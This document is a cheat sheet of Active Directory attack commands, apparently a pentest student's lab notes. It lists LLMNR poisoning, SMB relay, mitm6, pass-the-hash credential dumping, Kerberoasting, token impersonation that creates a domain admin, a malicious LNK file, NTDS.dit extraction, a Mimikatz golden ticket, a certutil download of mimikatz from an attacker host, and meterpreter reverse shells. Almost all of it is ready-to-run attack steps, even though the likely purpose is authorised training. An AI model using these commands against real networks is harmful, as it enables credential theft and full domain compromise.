Active Directory

General strategy

KEEP ENUMERATING:

- Spray the network with `crackmapexec` whenever you obtain new credentials.
- Try token impersonation on all devices.
- Try every user account, maybe the user has access elsewhere!

Look through every output very carefully!

Initial attack vectors

Run `nmap` to find targets.

- `nmap -sS -T4 [ip-address range]`

Run `netdiscover` to find the IP-addresses available on the network.

Try LLMNR Poisoning.

- `sudo mousepad /etc/responder/Responder.conf` *(Make sure all options are on)*
- `sudo responder -I eth0 -dPv` on vpn `sudo responder -I tun0 -dPv`

Run `nmap` on the network to check if SMB-signing is enabled but not required.

- `nmap --script=smb2-security-mode.nse -p445 xxx.xxx.xxx.0/24` *(Add -Pn for better probing)*

Find out what the domain controller is.

- Port 389 (LDAP) open.
- Port 53 open.
- Port 636 (LDAPSSL) open.
- The domain controller has SMB-signing enabled by default.
- `net use`?

Try SMB relaying.

- Edit and run responder
  - `sudo mousepad /etc/responder/Responder.conf` *(Make sure HTTP & SMB are off)*
  - `sudo responder -I eth0 -dPv` on vpn `sudo responder -I tun0 -dPv`
- Setup ntlmrelayx
  - `sudo ntlmrelayx.py -tf targets.txt -smb2support --no-wcf-server --no-raw-server --no-winrm-server --no-rpc-server`

Try MitM6.

- Setup `ntlmrelayx.py`
  - `ntlmrelayx.py -6 -t ldaps://[DC-ip] -wh fakewpad.marvel.local -l lootme`

- Launch MitM6
  - `sudo mitm6 -d [domain]`

Post-Device Compromise

Try Pass the Password & Pass the Hash.

- Pass the Password
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -d [Domain] -p [password]`
- Pass the Hash
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth`
  - Dump SAM
    - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --sam`
  - Enumerate shares
    - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --shares`
  - Dump LSA
    - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --lsa`
  - Dump lsass
    - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth -M lsassy` *(Can give hashes not in secretsdump)*

Use `cmedb` to look at all crackmapexec uses and credentials.

Kerberoasting.

- Dump the hash
  - `sudo python3 /home/kali/.local/bin/GetUserSPNs.py [Domain]/[user]:'[password]' -dc-ip [DC-ip] -request`
- Crack that hash
  - `hashcat -m 13100 [hash file] [wordlist]`

Token Impersonation.

- `msfconsole`
- Get a meterpreter shell
  - `search psexec`
  - `use exploit/windows/smb/psexec`
- `load incognito`
- `list_tokens -u`
- `impersonate_token [Domain]\\[user]`
- Stop impersonation:
  - `rev2self`
- When impersonating a DA
  - `shell`
  - `net user /add [user] [password] /domain`
  - `net group "Domain Admins" [user] /ADD /DOMAIN`
  - Can now `secretsdump` the DC with this user.

LNK File.

- `$objShell = New-Object -ComObject WScript.shell`
- `$lnk = $objShell.CreateShortcut("C:\test.lnk")`
- `$lnk.TargetPath = "\\[Attacker ip]\@test.png"`
- `$lnk.WindowStyle = 1`
- `$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"`
- `$lnk.Description = "Test"`
- `$lnk.HotKey = "Ctrl+Alt+T"`
- `$lnk.Save()`
- Edit the file name to include an `@` symbol as its first symbol.

Post-DC Compromise

Dump the NTDS.dit.

- `secretsdump.py [Domain]/[user]:'[password]'@[DC-ip]`
- `secretsdump.py [Domain]/[user]:'[password]'@[DC-ip] -just-dc-ntlm`

Golden Ticket.

- Get RDP access to the DC.
- Run `mimikatz.exe` on the DC
- `privilege::debug`
- `lsadump::lsa /inject /name:krbtgt`
    - Copy S-ID
    - Copy NTLM hash
- `kerberos::golden /User:Administrator /domain:[domain] /sid:[sid example: S-1-5-21-4072630234-3903147458-2387749885] /krbtgt:[hash] /id:500 /ptt`
- Load `psexec.exe` to the DC
- `psexec.exe \\[target ip] cmd.exe`

Enumeration

Secretsdump

Steps

- Password
    - `secretsdump.py [Domain]/[user]:'[password]'@xxx.xxx.xxx.xxx`
- Hash
    - `secretsdump.py [user]:@xxx.xxx.xxx.xxx -hashes [hash]`

ldapdomaindump

Steps:

- Make a directory and `cd` into it.
    - `mkdir [domain]`
- Execute command with compromised account:

    - `sudo python3 /usr/local/bin/ldapdomaindump ldaps://[DC-ip] -u '[user]' -p '[password]'`

Bloodhound

Steps:

- `cd /opt/bloodhound`
- Start docker
    - `sudo dockerd`
- Start bloodhound
    - `sudo docker-compose up`
    - `sudo docker-compose pull && sudo docker-compose up` *(If experiencing issues)*
- Go to `http://localhost:8080/ui`
- Collect data
    - `sudo bloodhound-python -d [domain] -u '[user]' -p '[password]' -ns [DC-ip] -c all`

Plumhound

Steps:

- Have Bloodhound up
- Test
    - `sudo python3 PlumHound.py --easy -p bloodhoundcommunityedition`
- Get reports
    - `sudo python3 PlumHound.py -x tasks/default.tasks -p bloodhoundcommunityedition`
- `cd reports`
- `firefox index.html`

Mimikatz

Steps

- Host http server to download files to device
    - `python3 -m http.server 80` in mimikatz directory
    - Get a shell on device
    - `certutil.exe -urlcache -f "http://[attacker-url]/mimikatz.exe" mimikatz.exe` in writeable folder
- Execute `mimikatz.exe`
- `privilege::` -> `privilege::debug`
- `sekurlsa::logonPasswords`

Useful commands

Shell access

Metasploit - with password

- `use exploit/windows/smb/psexec`
  - `set payload windows/x64/meterpreter/reverse_tcp`
  - `show targets` can be useful

Metasploit - with hash

- `use exploit/windows/smb/psexec`
  - `set payload windows/x64/meterpreter/reverse_tcp`
  - `show targets` can be useful

psexec.py - with password

- `psexec.py marvel.local/fcastle:'P@$$w0rd!'@xxx.xxx.xxx.xxx`

psexec.py - with hash

- `psexec.py administrator@xxx.xxx.xxx.xxx -hashes LM:NT`

Alternatives to `psexec.py`, use `wmiexec.py` or use `smbexec.py`.